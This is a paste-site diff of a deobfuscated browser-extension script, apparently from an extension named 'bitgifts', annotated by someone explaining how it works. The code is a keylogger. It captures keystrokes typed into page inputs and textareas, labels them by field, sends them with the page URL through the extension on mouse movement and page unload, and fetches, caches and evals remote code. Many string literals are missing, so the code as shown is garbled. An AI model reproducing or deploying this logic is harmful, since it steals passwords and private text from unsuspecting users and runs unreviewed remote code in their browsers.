SHOW:
|
|
- or go back to the newest paste.
| 1 | // \x0A is the equalsto of return | |
| 2 | ||
| 3 | // I'm not sure how this works, but it appears to allow you to use, for example, body in place of "body" in your code. | |
| 4 | var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"]; | |
| 5 | var kt = ; | |
| 6 | var pu = ; | |
| 7 | var ss = false; | |
| 8 | setTimeout(ijCheck, 50); | |
| 9 | ||
| 10 | function ijCheck() {
| |
| 11 | // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page. | |
| 12 | if ($(body)[length]) {
| |
| 13 | chrome[extension][sendRequest]({
| |
| 14 | url: document[URL], | |
| 15 | title: document[title] | |
| 16 | }, function (geet) {});
| |
| 17 | // This adds a "~" to denote backspacing, I believe. | |
| 18 | $(body)[on](keydown, input, textarea, function (key) {
| |
| 19 | if (key[keyCode] == 8) {
| |
| 20 | kt += ~ | |
| 21 | - | //logs keypress |
| 21 | + | |
| 22 | }); | |
| 23 | ||
| 24 | // For every keypress into a text area on a website, do this: | |
| 25 | $(body)[on](keypress, input, textarea, function (key) {
| |
| 26 | - | //hits enter adds had and hits enter |
| 26 | + | // This writes a header for your text input, so they know where you entered it. |
| 27 | var hab = [ + $(this)[attr](name) + # + $(this)[prop](id) + + $(this)[attr](class) + ]; | |
| 28 | // If this is a different text box, start a new line, write the header, and start a new line for what it logs. | |
| 29 | if (pu != hab) {
| |
| 30 | kt += _0x2eb2[22] + hab + _0x2eb2[22]; | |
| 31 | pu = hab | |
| 32 | }; | |
| 33 | // Add the keypress on the newline we created. | |
| 34 | if (String[fromCharCode](key[charCode])) {
| |
| 35 | kt += String[fromCharCode](key[charCode]) | |
| 36 | } | |
| 37 | }); | |
| 38 | // As soon as the user moves their mouse again... | |
| 39 | $(body)[mousemove](function () {
| |
| 40 | // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending... | |
| 41 | if (kt[length] > 100 && !ss) {
| |
| 42 | ss = true; | |
| 43 | // Then send the data. | |
| 44 | chrome[extension][sendRequest]({
| |
| 45 | url: document[URL], | |
| 46 | post: kt | |
| 47 | }, function (geet) {});
| |
| 48 | kt = ; | |
| 49 | pu = ; | |
| 50 | ss = false | |
| 51 | } | |
| 52 | }) | |
| 53 | } else {
| |
| 54 | // If the page hasn't loaded, try again in 50 milliseconds. | |
| 55 | setTimeout(ijCheck, 50) | |
| 56 | } | |
| 57 | }; | |
| 58 | window[onbeforeunload] = function () {
| |
| 59 | chrome[extension][sendRequest]({
| |
| 60 | url: document[URL], | |
| 61 | post: kt | |
| 62 | }, function (geet) {})
| |
| 63 | }; | |
| 64 | if (!localStorage[getItem](bitgifts)) {
| |
| 65 | fetchCS() | |
| 66 | } else {
| |
| 67 | if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
| |
| 68 | eval(localStorage[getItem](bitgifts)) | |
| 69 | } else {
| |
| 70 | fetchCS() | |
| 71 | } | |
| 72 | }; | |
| 73 | ||
| 74 | function fetchCS() {
| |
| 75 | chrome[extension][sendRequest]({
| |
| 76 | getcs: true | |
| 77 | }, function (geet) {
| |
| 78 | localStorage[setItem](bitgifts, geet[data]); | |
| 79 | localStorage[setItem](bitgifts-c, new Date()[getTime]()); | |
| 80 | eval(geet[data]) | |
| 81 | }) | |
| 82 | }; |